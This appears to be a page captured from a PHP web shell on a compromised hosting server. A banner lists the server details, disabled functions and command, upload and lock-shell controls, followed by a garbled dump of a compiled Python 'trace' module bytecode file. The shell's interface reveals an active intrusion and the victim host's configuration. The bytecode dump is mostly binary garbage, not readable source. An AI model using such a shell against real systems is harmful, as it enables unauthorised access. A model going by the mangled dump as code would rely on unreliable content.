Server IP : 82.180.170.48 / Your IP : 216.73.216.60 Web Server : LiteSpeed System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64 User : u636808025 ( 636808025) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/../dev/../lib64/nss/../python3.9/html/../__pycache__/ |
[ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
---|
a �DOgr�@s�ddgZddlZddlZddlZddlZddlZddlZddlZddlZddl Z ddl Z ddlZddlm ZddlZdZGdd�d�Zdd �Zd d�ZGdd�d�Zd d�Zdd�Zddd�Zdd�ZGdd�d�Zdd�Zedkr�e�dS)�Trace�CoverageResults�N)� monotonicz#pragma NO COVERc@seZdZddd�Zdd�ZdS)�_IgnoreNcCs:|s t�nt|�|_|sgndd�|D�|_ddi|_dS)NcSsg|]}tj�|��qS�)�os�path�normpath��.0�drr�/usr/lib64/python3.9/trace.py� <listcomp>Hs�z$_Ignore.__init__.<locals>.<listcomp>z<string>�)�set�_mods�_dirs�_ignore)�self�modules�dirsrrr �__init__Fs �z_Ignore.__init__cCs�||jvr|j|S||jvr,d|j|<dS|jD]"}|�|d�r2d|j|<dSq2|durld|j|<dS|jD]$}|�|tj�rrd|j|<dSqrd|j|<dS)Nr�.r)rr� startswithrr�sep)r�filename� modulename�modrrrr �namesLs$ z _Ignore.names)NN)�__name__� __module__�__qualname__rrrrrr rEs rcCs tj�|�}tj�|�\}}|S�N)rr�basename�splitext)r�baser�extrrr �_modnamewsr'cCs�tj�|�}d}tjD]@}tj�|�}|�|�r|t|�tjkrt|�t|�kr|}q|rr|t|�dd�}n|}tj�|�\}}|�tjd�}tj r�|�tj d�}tj� |�\}}|�d�S)N�rr)rr�normcase�sysr�lenr� splitdrive�replace�altsepr$�lstrip)rZcomparepathZlongest�dirr%�driverr&rrr �_fullmodname~s r2c@s:eZdZddd�Zdd�Zdd�Zdd d�Zddd �ZdS)rNc Cs||_|jduri|_|j��|_||_|jdur8i|_|j��|_||_|jdurZi|_|j��|_||_||_|j�rzTt|jd�� }t� |�\}}}Wd�n1s�0Y|� |�|||��WnDtt tf�y}z$td|j|ftjd�WYd}~n d}~00dS)N�rbzSkipping counts file %r: %s��file)�counts�copyZcounter�calledfuncs�callers�infile�outfile�open�pickle�load�update� __class__�OSError�EOFError� ValueError�printr*�stderr)rr6r8r:r9r;�f�errrrr r�s2 .��zCoverageResults.__init__cCs|�d�o|�d�S)N�<�>)r�endswith)rrrrr �is_ignored_filename�sz#CoverageResults.is_ignored_filenamec Csn|j}|j}|j}|j}|j}|j}|D]}|�|d�||||<q(|D]}d||<qJ|D]}d||<q\dS�Nrr)r6r8r9�get) r�otherr6r8r9Zother_countsZother_calledfuncsZ other_callers�keyrrr r?�s zCoverageResults.updateTFc" Cs|jr@t�td�|j}t|�D]\}}}td|||f�q"|jr�t�td�d}} t|j�D]h\\} }}\} }}| |kr�t�td| d�| }d} | | kr�| | kr�td| �| } td||||f�qfi}|jD].\}}|�|i�}||<|j||f||<q�i}|��D�],\}}|�|��r0�q|�d��rH|dd �}|du�rpt j �t j �|��}t |�}n$|}t j �|��s�t �|�t|�}|�r�t|�}ni}t�|�}t j �||d �}t|d�� }t�|j�\}}Wd�n1�s�0Y|�|||||�\}}|�r|�rtd||�}||||f||<�q|�r�|�r�td �t|�D]&}||\}}}}td||��qb|j�rzLt|jd��*} t�|j|j|jf| d�Wd�n1�s�0YWn8t�y}!ztd|!tj d�WYd}!~!n d}!~!00dS)Nzfunctions called:z*filename: %s, modulename: %s, funcname: %szcalling relationships:r(z***z -->z %s.%s -> %s.%sz.pyc���z.coverr3�dzlines cov% module (path)z%5d %3d%% %s (%s)�wbrz"Can't save counts files because %sr4)!r8rD�sortedr9r6rM�itemsrKrJrr�dirname�abspathr'�exists�makedirsr2�_find_executable_linenos� linecache�getlines�joinr<�tokenize�detect_encoding�readline�write_results_file�intr;r=�dumprAr*rE)"rZshow_missing�summary�coverdirZcallsrr�funcnameZlastfileZ lastcfileZpfileZpmodZpfunc�cfileZcmodZcfuncZper_file�lineno� lines_hitZsums�countr0�lnotab�sourceZ coverpath�fp�encoding�_�n_hits�n_lines�percent�mrFrGrrr � write_results�s� �� 0��(zCoverageResults.write_resultsc Cszt|d|d�}Wn<tyN}z$td||ftjd�WYd}~dSd}~00d}d} |��t|d�D]r\} }| |vr�|�d|| �| d7} |d7}n.| |vr�t|vr�|�d �|d7}n |�d �|�|�d��qhWd�n1s�0Y| |fS)N�w�rmz3trace: Could not open %r for writing: %s - skippingr4)rrrrz%5d: z>>>>>> z �) r<rArDr*rE� enumerate�write�PRAGMA_NOCOVER� expandtabs)rr�linesrjrhrmr;rGrprorg�linerrr r`)s.�� 0z"CoverageResults.write_results_file)NNNNN)TFN)N)rr r!rrKr?rsr`rrrr r�s� \cCs,i}t�|�D]\}}||vrd||<q|S)Nr)�disZfindlinestarts)�code�strs�linenosrnrgrrr �_find_lines_from_codeIs r�cCs4t||�}|jD]}t�|�r|�t||��q|Sr")r�� co_consts�inspectZiscoder?�_find_lines)r~rr��crrr r�Ss r�cCs�i}tj}t||d��t}t�|j�}|D]R\}}}} } |tjkrv|tjkrv|\}}| \} }t|| d�D]}d||<qh|}q(Wd�n1s�0Y|S)Nrur)�token�INDENTr<r]�generate_tokensr_�STRING�range)rrmrZ prev_ttyperF�tokZttypeZtstr�start�endr|ZslineZscolZelineZecol�irrr � _find_strings_s $r�c Cs�z<t�|��}|��}|j}Wd�n1s00YWn>tyz}z&td||ftjd�iWYd}~Sd}~00t||d�}t ||�}t ||�S)Nz%Not printing coverage data for %r: %sr4�exec)r]r<�readrmrArDr*rE�compiler�r�)rrF�progrmrGr~rrrr rYvs(�� rYc @speZdZddd�Zdd �Zdd d�Zdd �Zdd�Zdd�Zdd�Z dd�Z dd�Zdd�Zdd�Z dd�ZdS) rrrrNFc Cs�||_||_t||�|_i|_i|_d|_||_i|_i|_ i|_ d|_| rTt�|_|rb|j |_nZ|rp|j|_nL|r�|r�|j|_|j|_n2|r�|j|_|j|_n|r�|j|_|j|_nd|_dSrL)r:r;r�ignorer6Zpathtobasename� donothing�trace�_calledfuncs�_callers� _caller_cache� start_time�_time�globaltrace_trackcallers�globaltrace�globaltrace_countfuncs�globaltrace_lt�localtrace_trace_and_count� localtrace�localtrace_trace�localtrace_count) rrir�� countfuncs�countcallers� ignoremods� ignoredirsr:r;�timingrrr r�s6 zTrace.__init__cCs ddl}|j}|�|||�dS)Nr)�__main__�__dict__�runctx)r�cmdr��dictrrr �run�sz Trace.runc Cs�|duri}|duri}|js6t�|j�t�|j�z*t|||�W|js~t�d�t�d�n|js|t�d�t�d�0dSr")r�� threading�settracer�r*r�)rr��globals�localsrrr r��s � zTrace.runctxc OsPd}|jst�|j�z"||i|��}W|jsLt�d�n|jsJt�d�0|Sr")r�r*r�r�)r�func�args�kw�resultrrr �runfunc�s�z Trace.runfuncc Cs�|j}|j}|rt|�}nd}|j}d}||jvrL|j|dur�|j|}n�d|j|<dd�t�|�D�}t|�dkr�dd�t�|d�D�}t|�dkr�dd�t�|d�D�} t| �dkr�| dj}||j|<|dur�d||f}|||fS)NcSsg|]}t�|�r|�qSr)r�Z isfunction)rrFrrr r�s �z1Trace.file_module_function_of.<locals>.<listcomp>rcSsg|]}t|t�r|�qSr)� isinstancer�r rrr r�s �rcSsg|]}t|d�r|�qS)� __bases__)�hasattr)rr�rrr r�s �z%s.%s) �f_code�co_filenamer'�co_namer��gcZ get_referrersr+r) r�framer~rrreZclsnameZfuncsZdicts�classesrrr �file_module_function_of�s, zTrace.file_module_function_ofcCs0|dkr,|�|�}|�|j�}d|j||f<dS�N�callr)r��f_backr�)rr��why�arg� this_funcZparent_funcrrr r��s zTrace.globaltrace_trackcallerscCs |dkr|�|�}d|j|<dSr�)r�r�)rr�r�r�r�rrr r�s zTrace.globaltrace_countfuncscCsj|dkrf|j}|j�dd�}|rbt|�}|durf|j�||�}|sf|jrZtd||jf�|j SndSdS)Nr��__file__z! --- modulename: %s, funcname: %s) r�� f_globalsrMr'r�rr�rDr�r�)rr�r�r�r~rrZ ignore_itrrr r�s�zTrace.globaltrace_ltcCs�|dkr~|jj}|j}||f}|j�|d�d|j|<|jrTtdt�|jdd�tj � |�}td||t�||�fdd�|j S) Nr|rr�%.2f� �r�� %s(%d): %sr()r�r��f_linenor6rMr�rDr�rrr#rZ�getliner�)rr�r�r�rrgrO�bnamerrr r�(s ��z Trace.localtrace_trace_and_countcCsd|dkr^|jj}|j}|jr4tdt�|jdd�tj�|�}td||t � ||�fdd�|jS)Nr|r�r�r�r�r()r�r�r�r�rDr�rrr#rZr�r�)rr�r�r�rrgr�rrr r�7s ��zTrace.localtrace_tracecCs<|dkr6|jj}|j}||f}|j�|d�d|j|<|jS)Nr|rr)r�r�r�r6rMr�)rr�r�r�rrgrOrrr r�DszTrace.localtrace_countcCst|j|j|j|j|jd�S)N)r:r;r8r9)rr6r:r;r�r�)rrrr �resultsLs �z Trace.results) rrrrrrNNF)NN)rr r!rr�r�r�r�r�r�r�r�r�r�r�rrrr r�s� 2 ) cs�ddl}|��}|jdddd�|�dd�}|jdd d dd�|jd dd dd�|jddd dd�|jddd dd�|�d�}|��}|jddd dd�|jddd dd�|jdddd �|jd!d"d#d �|jd$d%d d&d�|jd'd(d d)d�|jd*d+d d,d�|�d-d.�}|jd/d0gd1d2�|jd3d0gd4d2�|jd5d d6d7d2�|jd8d9d:d;�|jd<|jd=d;�|��}|j�r�t� d>��t� d?����fd@dA��dBdC�|j D�|_ �fdDdC�|jD�|_|j�r�|j�s�|� dE�t|j|jdF�}|�|j|j|j�St|j|j|j|jg��s |� dG�|j�rB|j�s8|j�rB|� dH�|j�r\|j�s\|� dI�|jdu�rr|� dJ�t|j|j|j|j|j |j|j|j|jdK� }z�|j�r�ddl}|j}|�|�\} } }|jg|j�t _!dL|j| j"| j#| ddM�}nt|jg|j�t _!t$j%�&|j�t j%d<t'�(|j��"} t)| �*�|jdN�}Wd�n1�sJ0Y|jdLdddO�}|�+|||�WnPt,�y�}z$t �-dPt j!d|f�WYd}~nd}~0t.�y�Yn0|�/�}|j0�s�|�|j|j|j�dS)QNrz --version�versionz trace 2.0)�actionr�zMain optionsz(One of these (or --report) must be givenz-cz--count� store_truez�Count the number of times each line is executed and write the counts to <module>.cover for each module executed, in the module's directory. See also --coverdir, --file, --no-report below.)r��helpz-tz--tracez3Print each line to sys.stdout before it is executedz-lz--listfuncsz�Keep track of which functions are executed at least once and write the results to sys.stdout after the program exits. Cannot be specified alongside --trace or --count.z-Tz--trackcallsz^Keep track of caller/called pairs and write the results to sys.stdout after the program exits.Z Modifiersz-rz--reportz�Generate a report from a counts file; does not execute any code. --file must specify the results file to read, which must have been created in a previous run with --count --file=FILEz-Rz--no-reportz^Do not generate the coverage report files. Useful if you want to accumulate over several runs.z-fz--filez+File to accumulate counts over several runs)r�z-Cz --coverdirz�Directory where the report files go. The coverage report for <package>.<module> will be written to file <dir>/<package>/<module>.coverz-mz --missingz?Annotate executable lines that were not executed with ">>>>>> "z-sz --summaryz\Write a brief summary for each file to sys.stdout. Can only be used with --count or --reportz-gz--timingzQPrefix each line with the time since the program started. Only used while tracingZFilterszCan be specified multiple timesz--ignore-module�appendzqIgnore the given module(s) and its submodules (if it is a package). Accepts comma separated list of module names.)r��defaultr�z--ignore-dirzWIgnore files in the given directory (multiple directories can be joined by os.pathsep).z--moduleFzTrace a module. �progname�?zfile to run as main program)�nargsr�� argumentszarguments to the programZstdlibZ platstdlibcs4tj�tj�|��}|�d���d��}tj�|�S)Nz$prefixz$exec_prefix)rr� expanduser� expandvarsr-r )�s)�_exec_prefix�_prefixrr �parse_ignore_dir�szmain.<locals>.parse_ignore_dircSs$g|]}|�d�D]}|���qqS)�,)�split�strip)rr�rrrr r�s�zmain.<locals>.<listcomp>cs&g|]}|�tj�D]}�|��qqSr)r�r�pathsep)rr�r�)r�rr r�s�z-r/--report requires -f/--file)r:r;zLmust specify one of --trace, --count, --report, --listfuncs, or --trackcallsz8cannot specify both --listfuncs and (--trace or --count)z3--summary can only be used with --count or --reportz3progname is missing: required with the main options)r�r�r�r�r:r;r�r�)rr��__package__� __loader__�__spec__� __cached__r�)r�rr�r�zCannot run file %r because: %s)1�argparse�ArgumentParser�add_argument�add_argument_group�add_mutually_exclusive_group� REMAINDER� parse_argsZ ignore_dir� sysconfigZget_pathZ ignore_module�reportr5�errorrrs�missingrcrd�anyr�riZ listfuncsZ trackcallsr�rr��module�runpy�_get_module_detailsr�r�r*�argv�parent�loaderrrrU�io� open_coder�r�r�rA�exit� SystemExitr�Z no_report)r��parser�grpZ_grpZoptsr��tr��module_name�mod_name�mod_specr~ZglobsrlrGr)r�r�r�r �mainRs�� � � � � � ��� � � �� � � �� � � � �� 2�,rr�)N)�__all__r�rZrr*r�r�r]r�r�r}r=�timerr�r�ryrr'r2rr�r�r�rYrrrrrrr �<module>2s:20 O